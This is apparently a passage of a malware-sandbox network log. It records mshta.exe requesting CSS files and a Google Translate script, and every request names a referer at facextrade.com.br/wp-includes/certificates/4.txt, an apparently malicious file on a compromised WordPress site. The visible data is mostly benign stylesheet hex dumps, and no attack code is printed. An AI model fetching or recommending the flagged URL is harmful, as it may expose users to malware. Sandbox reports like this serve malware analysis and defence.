3b 0a 09 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 62 61 73 65 6c 69 6e 65 3b 0a 7d 0a 73 75 70 20 7b 20 74 6f 70 3a 2d 30 2e 35 65 6d 3b 20 7d 0a 73 75 62 20 7b 20 62 6f 74 74 6f 6d 3a 2d 30 2e 32 35 65 6d 3b 20 7d 0a 69 6d 67 20 7b 0a 09 6d 61 78 2d 77 69 64 74 68 3a 31 30 30 25 3b 0a 09 77 69 64 74 68 3a 61 75 74 6f 20 5c 39 3b 0a 09 68 65 69 67 68 74 3a 61 75 74 6f 3b 0a 09 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 6d 69 64 64 6c 65 3b 0a 09 62 6f 72 64 65 72 3a 30 3b 0a 09 2d 6d 73 2d 69 6e 74 65 72 70 6f 6c 61 74 69 6f 6e 2d 6d 6f 64 65 3a 62 69 63 75 62 69 63 3b 0a 7d 0a 23 6d 61 70 5f 63 61 6e 76 61 73 20 69 6d 67 2c 20 2e 67 6f 6f 67 6c 65 2d 6d 61 70 73 20 69 6d 67 20 7b 20 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 20 7d 0a 62 75 74 74 6f 6e 2c 20 69 6e 70 75 74 2c 20 73 65 6c 65 63 74 2c 20 74 65 78 74 61 72 65 61 20 7b 0a 09 6d 61 72 67 69 6e 3a 30 3b 0a 09 66 6f 6e 74 2d 73 69 7a 65 3a 31 30 30 25 3b 0a 09 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 6d 69 64 64 6c 65 3b 0a 7d 0a 62 75 74 74 6f 6e 2c 20 69 6e 70 75 74 20 7b 0a 09 2a 6f 76 65 72 66 6c 6f 77 3a 76 69 73 69 62 6c 65 3b 0a 09 6c 69 6e 65 2d 68 65 69 67 68 74 3a 6e 6f 72 6d 61 6c 3b 0a 7d 0a 62 75 74 74 6f 6e 3a 3a 2d 6d 6f 7a 2d 66 6f 63 75 73 2d 69 6e 6e 65 72 2c 20 69 6e 70 75 74 3a 3a 2d 6d 6f 7a 2d 66 6f 63 75 73 2d 69 6e 6e 65 72 20 7b 0a 09 70 61 64 64 69 6e 67 3a 30 3b 0a 09 62 6f 72 64 65 72 3a 30 3b 0a 7d 0a 62 75 74 74 6f 6e 2c 20 68 Data Ascii: article, aside, details, figcaption, figure, footer, header, hgroup, nav, section { display:block; }audio, canvas, video {display:inline-block;display:inline;zoom:1;}audio:not([controls]) { display:none; }html {font-size:100%;-webkit-text-size-adjust:100%;-ms-text-size-adjust:100%;}a:focus {outline:thin dotted #333;outline:5px auto -webkit-focus-ring-color;outline-offset:-2px;}a:hover, a:active { outline:0; }sub, sup {position:relative;font-size:75%;line-height:0;vertical-align:baseline;}sup { top:-0.5em; }sub { bottom:-0.25em; }img {max-width:100%;width:auto \9;height:auto;vertical-align:middle;border:0;-ms-interpolation-mode:bicubic;}#map_canvas img, .google-maps img { max-width:none; }button, input, select, textarea {margin:0;font-size:100%;vertical-align:middle;}button, input {*overflow:visible;line-height:normal;}button::-moz-focus-inner, input::-moz-focus-inner {padding:0;border:0;}button, h
Aug 16, 2022 11:05:51.135555983 CEST	1280	IN	Data Raw: 74 6d 6c 20 69 6e 70 75 74 5b 74 79 70 65 3d 22 62 75 74 74 6f 6e 22 5d 2c 20 69 6e 70 75 74 5b 74 79 70 65 3d 22 72 65 73 65 74 22 5d 2c 20 69 6e 70 75 74 5b 74 79 70 65 3d 22 73 75 62 6d 69 74 22 5d 20 7b 0a 09 2d 77 65 62 6b 69 74 2d 61 70 70 Data Ascii: tml input[type="button"], input[type="reset"], input[type="submit"] {-webkit-appearance:button;cursor:pointer;}label, select, button, input[type="button"], input[type="reset"], input[type="submit"], input[type="radio"], input[type="check
Aug 16, 2022 11:05:51.135571957 CEST	1281	IN	Data Raw: 6e 74 3a 22 22 3b 0a 09 6c 69 6e 65 2d 68 65 69 67 68 74 3a 30 3b 0a 7d 0a 2e 63 6c 65 61 72 66 69 78 3a 61 66 74 65 72 20 7b 20 63 6c 65 61 72 3a 62 6f 74 68 3b 20 7d 0a 2e 68 69 64 65 2d 74 65 78 74 20 7b 0a 09 66 6f 6e 74 3a 30 2f 30 20 61 3b Data Ascii: nt:"";line-height:0;}.clearfix:after { clear:both; }.hide-text {font:0/0 a;color:transparent;text-shadow:none;background-color:transparent;border:0;}.input-block-level {display:block;width:100%;min-height:34px;-webkit-
Aug 16, 2022 11:05:51.135591984 CEST	1283	IN	Data Raw: 6e 31 31 20 7b 20 77 69 64 74 68 3a 38 36 30 70 78 3b 20 7d 0a 2e 73 70 61 6e 31 30 20 7b 20 77 69 64 74 68 3a 37 38 30 70 78 3b 20 7d 0a 2e 73 70 61 6e 39 20 7b 20 77 69 64 74 68 3a 37 30 30 70 78 3b 20 7d 0a 2e 73 70 61 6e 38 20 7b 20 77 69 64 Data Ascii: n11 { width:860px; }.span10 { width:780px; }.span9 { width:700px; }.span8 { width:620px; }.span7 { width:540px; }.span6 { width:460px; }.span5 { width:380px; }.span4 { width:300px; }.span3 { width:220px; }.span2 { width:140px; }.span
Aug 16, 2022 11:05:51.135610104 CEST	1284	IN	Data Raw: 69 64 20 2e 73 70 61 6e 31 30 20 7b 0a 09 77 69 64 74 68 3a 38 32 2e 39 37 38 37 32 33 34 30 34 32 35 35 25 3b 0a 09 2a 77 69 64 74 68 3a 38 32 2e 39 32 35 35 33 31 39 31 34 38 39 34 25 3b 0a 7d 0a 2e 72 6f 77 2d 66 6c 75 69 64 20 2e 73 70 61 6e Data Ascii: id .span10 {width:82.978723404255%;width:82.925531914894%;}.row-fluid .span9 {width:74.468085106383%;width:74.414893617021%;}.row-fluid .span8 {width:65.957446808511%;*width:65.904255319149%;}.row-fluid .span7 {width:57.4
Aug 16, 2022 11:05:51.135627985 CEST	1286	IN	Data Raw: 3a 37 38 2e 36 31 37 30 32 31 32 37 36 35 39 36 25 3b 0a 7d 0a 2e 72 6f 77 2d 66 6c 75 69 64 20 2e 6f 66 66 73 65 74 39 3a 66 69 72 73 74 2d 63 68 69 6c 64 20 7b 0a 09 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 37 36 2e 35 39 35 37 34 34 36 38 30 38 35 Data Ascii: :78.617021276596%;}.row-fluid .offset9:first-child {margin-left:76.595744680851%;margin-left:76.489361702128%;}.row-fluid .offset8 {margin-left:70.212765957447%;margin-left:70.106382978723%;}.row-fluid .offset8:first-child {m
Aug 16, 2022 11:05:51.135724068 CEST	1287	IN	Data Raw: 65 74 32 3a 66 69 72 73 74 2d 63 68 69 6c 64 20 7b 0a 09 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 31 37 2e 30 32 31 32 37 36 35 39 35 37 34 35 25 3b 0a 09 2a 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 31 36 2e 39 31 34 38 39 33 36 31 37 30 32 31 25 3b 0a 7d Data Ascii: et2:first-child {margin-left:17.021276595745%;margin-left:16.914893617021%;}.row-fluid .offset1 {margin-left:10.63829787234%;margin-left:10.531914893617%;}.row-fluid .offset1:first-child {margin-left:8.5106382978723%;*margin-
Aug 16, 2022 11:05:51.135742903 CEST	1288	IN	Data Raw: 65 78 74 2d 69 6e 66 6f 3a 66 6f 63 75 73 20 7b 20 63 6f 6c 6f 72 3a 23 32 64 36 39 38 37 3b 20 7d 0a 2e 74 65 78 74 2d 73 75 63 63 65 73 73 20 7b 20 63 6f 6c 6f 72 3a 23 34 36 38 38 34 37 3b 20 7d 0a 61 2e 74 65 78 74 2d 73 75 63 63 65 73 73 3a Data Ascii: ext-info:focus { color:#2d6987; }.text-success { color:#468847; }a.text-success:hover, a.text-success:focus { color:#356635; }.text-left { text-align:left; }.text-right { text-align:right; }.text-center { text-align:center; }h1, h2, h3,
Aug 16, 2022 11:05:51.135759115 CEST	1290	IN	Data Raw: 6f 6c 64 3b 20 7d 0a 64 64 20 7b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 31 32 70 78 3b 20 7d 0a 2e 64 6c 2d 68 6f 72 69 7a 6f 6e 74 61 6c 20 7b 20 2a 7a 6f 6f 6d 3a 31 3b 20 7d 0a 2e 64 6c 2d 68 6f 72 69 7a 6f 6e 74 61 6c 3a 62 65 66 6f 72 65 2c Data Ascii: old; }dd { margin-left:12px; }.dl-horizontal { *zoom:1; }.dl-horizontal:before, .dl-horizontal:after {display:table;content:"";line-height:0;}.dl-horizontal:after { clear:both; }.dl-horizontal dt {float:left;width:160px;clear
Aug 16, 2022 11:05:51.135777950 CEST	1291	IN	Data Raw: 3a 32 34 70 78 3b 0a 09 66 6f 6e 74 2d 73 74 79 6c 65 3a 6e 6f 72 6d 61 6c 3b 0a 09 6c 69 6e 65 2d 68 65 69 67 68 74 3a 32 34 70 78 3b 0a 7d 0a 63 6f 64 65 2c 20 70 72 65 20 7b 0a 09 70 61 64 64 69 6e 67 3a 30 20 33 70 78 20 32 70 78 3b 0a 09 66 Data Ascii: :24px;font-style:normal;line-height:24px;}code, pre {padding:0 3px 2px;font-family:Monaco, Menlo, Consolas, "Courier New", monospace;font-size:13px;color:#333;-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3
Aug 16, 2022 11:05:51.365564108 CEST	1306	IN	Data Raw: 74 2c 20 74 65 78 74 61 72 65 61 20 7b 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 4c 61 74 6f 3b 20 7d 0a 6c 61 62 65 6c 20 7b 0a 09 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 0a 09 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 35 70 78 3b 0a 7d 0a 73 65 Data Ascii: t, textarea { font-family:Lato; }label {display:block;margin-bottom:5px;}select, textarea, input[type="text"], input[type="password"], input[type="datetime"], input[type="datetime-local"], input[type="date"], input[type="month"], input[
Aug 16, 2022 11:05:51.831979036 CEST	1529	OUT	GET /wp-content/plugins/instagram-feed/css/sbi-styles.min.css?ver=2.9.2 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:05:52.069003105 CEST	1532	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:05:51 GMT Server: Apache Last-Modified: Tue, 10 Aug 2021 23:54:25 GMT ETag: "1eb103-41cd-5c93d38b56102" Accept-Ranges: bytes Content-Length: 16845 Connection: close Content-Type: text/css Data Raw: 23 73 62 5f 69 6e 73 74 61 67 72 61 6d 7b 77 69 64 74 68 3a 31 30 30 25 3b 6d 61 72 67 69 6e 3a 30 20 61 75 74 6f 3b 70 61 64 64 69 6e 67 3a 30 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 2d 6d 6f 7a 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 7d 23 73 62 5f 69 6e 73 74 61 67 72 61 6d 3a 61 66 74 65 72 7b 63 6f 6e 74 65 6e 74 3a 22 22 3b 64 69 73 70 6c 61 79 3a 74 61 62 6c 65 3b 63 6c 65 61 72 3a 62 6f 74 68 7d 23 73 62 5f 69 6e 73 74 61 67 72 61 6d 2e 73 62 69 5f 66 69 78 65 64 5f 68 65 69 67 68 74 7b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 3b 6f 76 65 72 66 6c 6f 77 2d 79 3a 61 75 74 6f 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 2d 6d 6f 7a 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 7d 23 73 62 5f 69 6e 73 74 61 67 72 61 6d 20 23 73 62 69 5f 69 6d 61 67 65 73 7b 77 69 64 74 68 3a 31 30 30 25 3b 66 6c 6f 61 74 3a 6c 65 66 74 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 30 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 2d 6d 6f 7a 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 7d 23 73 62 5f 69 6e 73 74 61 67 72 61 6d 20 2e 73 62 69 5f 68 65 61 64 65 72 5f 6c 69 6e 6b 7b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 73 68 61 64 6f 77 3a 6e 6f 6e 65 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 6e 6f 6e 65 7d 23 73 62 5f 69 6e 73 74 61 67 72 61 6d 20 2e 73 62 69 5f 68 65 61 64 65 72 5f 6c 69 6e 6b 3a 68 6f 76 65 72 7b 62 6f 72 64 65 72 3a 6e 6f 6e 65 7d 23 73 62 5f 69 6e 73 74 61 67 72 61 6d 20 23 73 62 69 5f 69 6d 61 67 65 73 20 2e 73 62 69 5f 69 74 65 6d 7b 64 69 73 70 6c 61 79 3a 2d 6d 6f 7a 2d 69 6e 6c 69 6e 65 2d 73 74 61 63 6b 3b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 66 6c 6f 61 74 3a 6c 65 66 74 3b 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 74 6f 70 3b 7a 6f 6f 6d 3a 31 3b 6d 61 78 2d 68 65 69 67 68 74 3a 31 30 30 30 70 78 3b 70 61 64 64 69 6e 67 3a 69 6e 68 65 72 69 74 21 69 6d 70 6f 72 74 61 6e 74 3b 6d 61 72 67 69 6e 3a 30 21 69 6d 70 6f 72 74 61 6e 74 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 3b 6f 70 61 63 69 74 79 3a 31 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 2d 6d 6f 7a 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 69 74 69 6f 6e 3a 61 6c 6c 20 2e 35 73 20 65 61 73 65 3b 2d 6d 6f 7a 2d 74 72 61 6e 73 69 74 69 6f 6e 3a 61 6c 6c 20 2e 35 73 20 65 61 73 65 3b 2d 6f 2d 74 72 61 6e 73 69 74 69 6f 6e 3a 61 6c 6c 20 2e 35 73 20 65 61 73 65 3b 2d 6d 73 2d 74 72 61 6e 73 69 74 69 6f 6e 3a 61 6c 6c 20 2e 35 73 20 65 61 73 65 3b 74 72 61 6e 73 69 74 69 6f 6e 3a 61 6c 6c 20 2e 35 73 20 65 61 73 65 7d 23 73 62 5f 69 6e 73 74 61 67 72 61 6d 20 23 73 62 69 5f 69 6d 61 67 65 73 20 2e 73 62 69 5f 69 74 65 6d 2e 73 62 69 5f 74 72 61 6e 73 69 74 69 6f 6e 7b 6f 70 61 63 69 74 79 3a 30 3b Data Ascii: #sb_instagram{width:100%;margin:0 auto;padding:0;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}#sb_instagram:after{content:"";display:table;clear:both}#sb_instagram.sbi_fixed_height{overflow:hidden;overflow-y:auto;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}#sb_instagram #sbi_images{width:100%;float:left;line-height:0;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}#sb_instagram .sbi_header_link{-webkit-box-shadow:none;box-shadow:none}#sb_instagram .sbi_header_link:hover{border:none}#sb_instagram #sbi_images .sbi_item{display:-moz-inline-stack;display:inline-block;float:left;vertical-align:top;zoom:1;max-height:1000px;padding:inherit!important;margin:0!important;text-decoration:none;opacity:1;overflow:hidden;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;-webkit-transition:all .5s ease;-moz-transition:all .5s ease;-o-transition:all .5s ease;-ms-transition:all .5s ease;transition:all .5s ease}#sb_instagram #sbi_images .sbi_item.sbi_transition{opacity:0;

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.4	49764	142.250.181.238	80	C:\Windows\SysWOW64\mshta.exe

Timestamp	kBytes transferred	Direction	Data
Aug 16, 2022 11:05:50.911026001 CEST	1225	OUT	GET /translate_a/element.js?cb=googleTranslateElementInit2 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: translate.google.com Connection: Keep-Alive
Aug 16, 2022 11:05:50.941028118 CEST	1270	IN	HTTP/1.1 301 Moved Permanently Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 16 Aug 2022 09:05:50 GMT Location: https://translate.google.com/translate_a/element.js?cb=googleTranslateElementInit2 Cross-Origin-Opener-Policy: same-origin-allow-popups Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.4	49763	187.45.240.69	80	C:\Windows\SysWOW64\mshta.exe

Timestamp	kBytes transferred	Direction	Data
Aug 16, 2022 11:05:51.058887959 CEST	1277	OUT	GET /wp-content/themes/theme51253/bootstrap/css/responsive.css HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:05:51.278084993 CEST	1293	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:02:54 GMT Server: Apache ETag: "a537b3-55b9-58592f5ac9140" Last-Modified: Tue, 02 Apr 2019 21:38:37 GMT Content-Length: 21945 Content-Type: text/css Cache-Control: No-Cache Pragma: no-cache X-Varnish: 14386665 19208036 Age: 177 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 2f 2a 21 0a 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 52 65 73 70 6f 6e 73 69 76 65 20 76 32 2e 33 2e 30 0a 20 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 32 20 54 77 69 74 74 65 72 2c 20 49 6e 63 0a 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 74 68 65 20 41 70 61 63 68 65 20 4c 69 63 65 6e 73 65 20 76 32 2e 30 0a 20 2a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 61 70 61 63 68 65 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 73 2f 4c 49 43 45 4e 53 45 2d 32 2e 30 0a 20 2a 0a 20 2a 20 44 65 73 69 67 6e 65 64 20 61 6e 64 20 62 75 69 6c 74 20 77 69 74 68 20 61 6c 6c 20 74 68 65 20 6c 6f 76 65 20 69 6e 20 74 68 65 20 77 6f 72 6c 64 20 40 74 77 69 74 74 65 72 20 62 79 20 40 6d 64 6f 20 61 6e 64 20 40 66 61 74 2e 0a 20 2a 2f 0a 2e 63 6c 65 61 72 66 69 78 20 7b 0a 20 20 2a 7a 6f 6f 6d 3a 20 31 3b 0a 7d 0a 2e 63 6c 65 61 72 66 69 78 3a 62 65 66 6f 72 65 2c 0a 2e 63 6c 65 61 72 66 69 78 3a 61 66 74 65 72 20 7b 0a 20 20 64 69 73 70 6c 61 79 3a 20 74 61 62 6c 65 3b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 22 3b 0a 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 30 3b 0a 7d 0a 2e 63 6c 65 61 72 66 69 78 3a 61 66 74 65 72 20 7b 0a 20 20 63 6c 65 61 72 3a 20 62 6f 74 68 3b 0a 7d 0a 2e 68 69 64 65 2d 74 65 78 74 20 7b 0a 20 20 66 6f 6e 74 3a 20 30 2f 30 20 61 3b 0a 20 20 63 6f 6c 6f 72 3a 20 74 72 61 6e 73 70 61 72 65 6e 74 3b 0a 20 20 74 65 78 74 2d 73 68 61 64 6f 77 3a 20 6e 6f 6e 65 3b 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 74 72 61 6e 73 70 61 72 65 6e 74 3b 0a 20 20 62 6f 72 64 65 72 3a 20 30 3b 0a 7d 0a 2e 69 6e 70 75 74 2d 62 6c 6f 63 6b 2d 6c 65 76 65 6c 20 7b 0a 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 20 20 6d 69 6e 2d 68 65 69 67 68 74 3a 20 33 30 70 78 3b 0a 20 20 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0a 20 20 2d 6d 6f 7a 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0a 20 20 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0a 7d 0a 40 2d 6d 73 2d 76 69 65 77 70 6f 72 74 20 7b 0a 20 20 77 69 64 74 68 3a 20 64 65 76 69 63 65 2d 77 69 64 74 68 3b 0a 7d 0a 2e 68 69 64 64 65 6e 20 7b 0a 20 20 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 0a 20 20 76 69 73 69 62 69 6c 69 74 79 3a 20 68 69 64 64 65 6e 3b 0a 7d 0a 2e 76 69 73 69 62 6c 65 2d 70 68 6f 6e 65 20 7b 0a 20 20 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 7d 0a 2e 76 69 73 69 62 6c 65 2d 74 61 62 6c 65 74 20 7b 0a 20 20 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 7d 0a 2e 68 69 64 64 65 6e 2d 64 65 73 6b 74 6f 70 20 7b 0a 20 20 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 7d 0a 2e 76 69 73 69 62 6c 65 2d 64 65 73 6b 74 6f 70 20 7b 0a 20 20 64 69 73 70 6c 61 79 3a 20 69 6e 68 65 72 69 74 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 7d 0a 40 6d 65 64 69 61 20 28 6d 69 6e 2d 77 69 64 74 68 3a 20 37 36 Data Ascii: /! Bootstrap Responsive v2.3.0 * * Copyright 2012 Twitter, Inc * Licensed under the Apache License v2.0 * http://www.apache.org/licenses/LICENSE-2.0 * * Designed and built with all the love in the world @twitter by @mdo and @fat. /.clearfix { zoom: 1;}.clearfix:before,.clearfix:after { display: table; content: ""; line-height: 0;}.clearfix:after { clear: both;}.hide-text { font: 0/0 a; color: transparent; text-shadow: none; background-color: transparent; border: 0;}.input-block-level { display: block; width: 100%; min-height: 30px; -webkit-box-sizing: border-box; -moz-box-sizing: border-box; box-sizing: border-box;}@-ms-viewport { width: device-width;}.hidden { display: none; visibility: hidden;}.visible-phone { display: none !important;}.visible-tablet { display: none !important;}.hidden-desktop { display: none !important;}.visible-desktop { display: inherit !important;}@media (min-width: 76
Aug 16, 2022 11:05:51.278103113 CEST	1294	IN	Data Raw: 38 70 78 29 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 20 39 37 39 70 78 29 20 7b 0a 20 20 2e 68 69 64 64 65 6e 2d 64 65 73 6b 74 6f 70 20 7b 0a 20 20 20 20 64 69 73 70 6c 61 79 3a 20 69 6e 68 65 72 69 74 20 21 69 6d 70 6f 72 74 61 6e 74 3b Data Ascii: 8px) and (max-width: 979px) { .hidden-desktop { display: inherit !important; } .visible-desktop { display: none !important ; } .visible-tablet { display: inherit !important; } .hidden-tablet { display: none !impor
Aug 16, 2022 11:05:51.278120995 CEST	1295	IN	Data Raw: 0a 20 20 7d 0a 20 20 2e 73 70 61 6e 35 20 7b 0a 20 20 20 20 77 69 64 74 68 3a 20 34 37 30 70 78 3b 0a 20 20 7d 0a 20 20 2e 73 70 61 6e 34 20 7b 0a 20 20 20 20 77 69 64 74 68 3a 20 33 37 30 70 78 3b 0a 20 20 7d 0a 20 20 2e 73 70 61 6e 33 20 7b 0a Data Ascii: } .span5 { width: 470px; } .span4 { width: 370px; } .span3 { width: 270px; } .span2 { width: 170px; } .span1 { width: 70px; } .offset12 { margin-left: 1230px; } .offset11 { margin-left:
Aug 16, 2022 11:05:51.278137922 CEST	1297	IN	Data Raw: 7b 0a 20 20 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 20 20 20 20 2a 77 69 64 74 68 3a 20 39 39 2e 39 34 36 38 30 38 35 31 30 36 33 38 32 39 25 3b 0a 20 20 7d 0a 20 20 2e 72 6f 77 2d 66 6c 75 69 64 20 2e 73 70 61 6e 31 31 20 7b 0a 20 20 20 20 Data Ascii: { width: 100%; width: 99.94680851063829%; } .row-fluid .span11 { width: 91.45299145299145%; width: 91.39979996362975%; } .row-fluid .span10 { width: 82.90598290598291%; *width: 82.8527914166212%; } .row-fl
Aug 16, 2022 11:05:51.278156042 CEST	1298	IN	Data Raw: 6e 2d 6c 65 66 74 3a 20 39 36 2e 34 37 34 38 31 33 36 30 32 34 37 33 31 36 25 3b 0a 20 20 7d 0a 20 20 2e 72 6f 77 2d 66 6c 75 69 64 20 2e 6f 66 66 73 65 74 31 31 3a 66 69 72 73 74 2d 63 68 69 6c 64 20 7b 0a 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 Data Ascii: n-left: 96.47481360247316%; } .row-fluid .offset11:first-child { margin-left: 94.01709401709402%; margin-left: 93.91071103837061%; } .row-fluid .offset10 { margin-left: 88.03418803418803%; margin-left: 87.927805055464
Aug 16, 2022 11:05:51.278177023 CEST	1299	IN	Data Raw: 39 25 3b 0a 20 20 7d 0a 20 20 2e 72 6f 77 2d 66 6c 75 69 64 20 2e 6f 66 66 73 65 74 35 3a 66 69 72 73 74 2d 63 68 69 6c 64 20 7b 0a 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 34 32 2e 37 33 35 30 34 32 37 33 35 30 34 32 37 33 25 3b 0a 20 Data Ascii: 9%; } .row-fluid .offset5:first-child { margin-left: 42.73504273504273%; margin-left: 42.62865975631933%; } .row-fluid .offset4 { margin-left: 36.75213675213675%; margin-left: 36.645753773413354%; } .row-fluid .of
Aug 16, 2022 11:05:51.278194904 CEST	1301	IN	Data Raw: 20 74 65 78 74 61 72 65 61 2e 73 70 61 6e 31 30 2c 0a 20 20 2e 75 6e 65 64 69 74 61 62 6c 65 2d 69 6e 70 75 74 2e 73 70 61 6e 31 30 20 7b 0a 20 20 20 20 77 69 64 74 68 3a 20 39 35 36 70 78 3b 0a 20 20 7d 0a 20 20 69 6e 70 75 74 2e 73 70 61 6e 39 Data Ascii: textarea.span10, .uneditable-input.span10 { width: 956px; } input.span9, textarea.span9, .uneditable-input.span9 { width: 856px; } input.span8, textarea.span8, .uneditable-input.span8 { width: 756px; } input.
Aug 16, 2022 11:05:51.278213024 CEST	1302	IN	Data Raw: 6f 70 20 2e 63 6f 6e 74 61 69 6e 65 72 2c 0a 20 20 2e 6e 61 76 62 61 72 2d 66 69 78 65 64 2d 62 6f 74 74 6f 6d 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 77 69 64 74 68 3a 20 37 32 34 70 78 3b 0a 20 20 7d 0a 20 20 2e 73 70 61 6e 31 32 Data Ascii: op .container, .navbar-fixed-bottom .container { width: 724px; } .span12 { width: 724px; } .span11 { width: 662px; } .span10 { width: 600px; } .span9 { width: 538px; } .span8 { width: 476px; }
